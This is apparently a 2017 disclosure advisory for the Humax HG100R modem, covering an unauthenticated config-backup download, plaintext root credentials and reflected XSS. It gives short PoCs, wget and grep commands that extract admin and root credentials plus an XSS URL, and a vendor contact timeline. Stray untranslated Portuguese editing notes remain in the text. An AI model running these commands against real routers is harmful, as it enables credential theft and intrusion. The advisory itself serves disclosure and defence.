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Humax Digital HG100R 2.0.6 XSS / Information Disclosure

Humax Digital HG100R 2.0.6 XSS / Information Disclosure
Posted Jul 3, 2017
Authored by The Gambler

Humax Digital HG100R version 2.0.6 suffers from backup disclosure, root credential disclosure, and cross site scripting vulnerabilities.

tags | exploit, root, vulnerability, xss, info disclosure
advisories | CVE-2017-7315, CVE-2017-7316
SHA-256 | 543eeec7a580cb4d86f8b57ebd89379d7ab1f3b249dc01f996ca87ed806b0236

Humax Digital HG100R 2.0.6 XSS / Information Disclosure

Change Mirror Download
Humax Digital HG100R multiple vulnerabilities
Device: Humax HG100R
Software Version: VER 2.0.6

- Backup file download (CVE-2017-7315)
An issue was discovered on Humax Digital HG100R 2.0.6 devices, a modem commonly used by ISPs to provide ADSL internet service to household and small business users. (CHECA ESSA INFO)
To download the backup file it's not required the use of credentials or any authentication, and the router credentials are stored in plaintext inside the backup.

PoC
wget http://192.168.0.1/view/basic/GatewaySettings.bin
strings GatewaySettings.bin | grep -A 1 admin
--------------------------------------------------------------------------------

- XSS Reflected(CVE-2017-7316)
An issue was discovered on Humax Digital HG100R 2.0.6 devices. DESCREVE BREVEMENTE O QUE A XSS REFLECTED E FALA O QUE PODE FAZER COM O USUARIO USANDO ISSO.
There is XSS reflected on the 404 page.

PoC
http://192.168.0.1<script>alert('XSS')</script>
--------------------------------------------------------------------------------

- Default credentials to router's web application not declared in the manual(CVE-2017-7317) NAO ENTENDI ESSA FRASE. QUE QUIS DIZER?
An issue was discovered on Humax Digital HG100 2.0.6 devices.
The attacker can find the root credentials in the backup file.

PoC
wget http://192.168.0.1/view/basic/GatewaySettings.bin
strings GatewaySettings.bin | grep -A 1 root


Timeline
2017-03-15 - First contact. Ignored by the vendor.
2017-03-21 - Second contact.
2017-03-22 - The vendor answered asking about the vulnerability.
2017-03-27 - Asked the vendor about his security team contact informarion to report the vulnerability.
2017-03-28 - The vendor answered saying that it is an old product, and they will check this vulnerabilities in the news products.
2017-03-28 - Ask the vendor about a patch.
2017-03-30 - Ask the vendor again about the patch.
2017-04-03 - Notified the vendor about the disclousure after 90 days, even without a patch.
2017-04-19 - Ask the vendor about a patch.
2017-05-08 - Ask the vendor about a patch.
2017-06-29 - Disclosure.



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